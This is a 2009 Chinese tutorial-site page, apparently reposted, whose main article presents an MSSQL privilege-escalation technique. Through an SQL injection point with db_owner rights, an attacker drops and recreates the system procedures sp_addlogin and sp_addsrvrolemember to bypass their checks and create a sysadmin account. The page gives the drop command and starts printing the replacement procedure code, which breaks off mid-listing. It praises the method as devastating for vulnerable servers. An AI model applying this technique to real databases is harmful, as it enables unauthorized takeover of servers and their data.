当前位置: 首页 > 图文教程 > 数据库 > MSSQL > SQL注入攻击通杀

MSSQL
SQL Server:小编浅谈视图的认识与原理
SQL Server各种日期计算方法之二
SQL Server各种日期计算方法之一
Sql Server中的日期与时间函数
SQL Server不能启动的常见故障[1][1]
如何将SQL Server中的表变成txt 文件
SQL Server不存在或访问被拒绝 Windows里的一个bug
探讨SQL Server 2005的评价函数
SQL Server 2000数据库升级到SQL Server 2005的最快速
实现删除主表数据时, 判断与之关联的外键表是否有数据
SELECT 赋值与ORDER BY冲突的问题
无法在 SQL Server 2005 Manger Studio 中录入中文的
如何快速生成100万不重复的8位编号
精华:精妙SQL语句
SQL Server导出导入数据方法
MS SQL SERVER 的一些有用日期
怎样用SQL 2000 生成XML
当SQL Server数据库崩溃时如何恢复
SQL Server查询语句的使用
SQL Server 中易混淆的数据类型

MSSQL 中的 SQL注入攻击通杀


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-30   浏览: 148 ::
收藏到网摘: n/a

 MSSQL注入通杀,只要有注入点就有系统权限 
  不知道大家看过这篇文章没有,可以在db_owner角色下添加SYSADMIN帐号,这招真狠啊,存在MSSQL注射漏洞的服务器又要遭殃了。方法主要是利用db_owner可以修改sp_addlogin和sp_addsrvrolemember这两个存储过程,饶过了验证部分。具体方法如下:先输入drop procedure sp_addlogin,然后在IE里面输入create procedure sp_addlogin
  @loginame sysname
  ,@passwd sysname = Null
  ,@defdb ; ; sysname = ’master’ -- UNDONE: DEFAULT
  CONFIGURABLE???
  ,@deflanguage sysname = Null
  ,@sid varbinary(16) = Null
  ,@encryptopt varchar(20) = Null
  AS
  -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
  set nocount on
  Declare @ret int -- return value of sp call
  -- DISALLOW USER TRANSACTION --
  set implicit_transactions off
  IF (@@trancount > 0)
  begin
  raiserror(15002,-1,-1,’sp_addlogin’)
  return (1)
  end
  -- VALIDATE LOGIN NAME AS:
  -- (1) Valid SQL Name (SQL LOGIN)
  -- (2) No backslash (NT users only)
  -- (3) Not a reserved login name
  execute @ret = sp_validname @loginame
  if (@ret <> 0)
  return (1)
  if (charindex(’\’, @loginame) > 0)
  begin
  raiserror(15006,-1,-1,@loginame)
  return (1)
  end
  --Note: different case sa is allowed.
  if (@loginame = ’sa’ or lower(@loginame) in (’public’))
  begin
  raiserror(15405, -1 ,-1, @loginame)
  return (1)
  end
  -- LOGIN NAME MUST NOT ALREADY EXIST --
  if exists(select * from master.dbo.syslogins where loginname =
  @loginame)
  begin
  raiserror(15025,-1,-1,@loginame)
  return (1)
  end
  -- VALIDATE DEFAULT DATABASE --
  IF db_id(@defdb) IS NULL
  begin
  raiserror(15010,-1,-1,@defdb)
  return (1)
  end
  -- VALIDATE DEFAULT LANGUAGE --
  IF (@deflanguage IS NOT Null)
  begin
  Execute @ret = sp_validlang @deflanguage
  IF (@ret <> 0)
  return (1)
  end
  ELSE
  begin
  select @deflanguage = name from master.dbo.syslanguages
  where langid = @@default_langid --server default
  language
  if @deflanguage is null
  select @deflanguage = N’us_english’
  end
  -- VALIDATE SID IF GIVEN --
  if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
  begin
  raiserror(15419,-1,-1)
  return (1)
  end
  else if @sid is null
  select @sid = newid()
  if (suser_sname(@sid) IS NOT Null)
  begin
  raiserror(15433,-1,-1)
  return (1)
  end
  -- VALIDATE AND USE ENCRYPTION OPTION --
  declare @xstatus smallint
  select @xstatus = 2 -- access
  if @encryptopt is null
  select @passwd = pwdencrypt(@passwd)
  else if @encryptopt = ’skip_encryption_old’
  begin
  select @xstatus = @xstatus&nb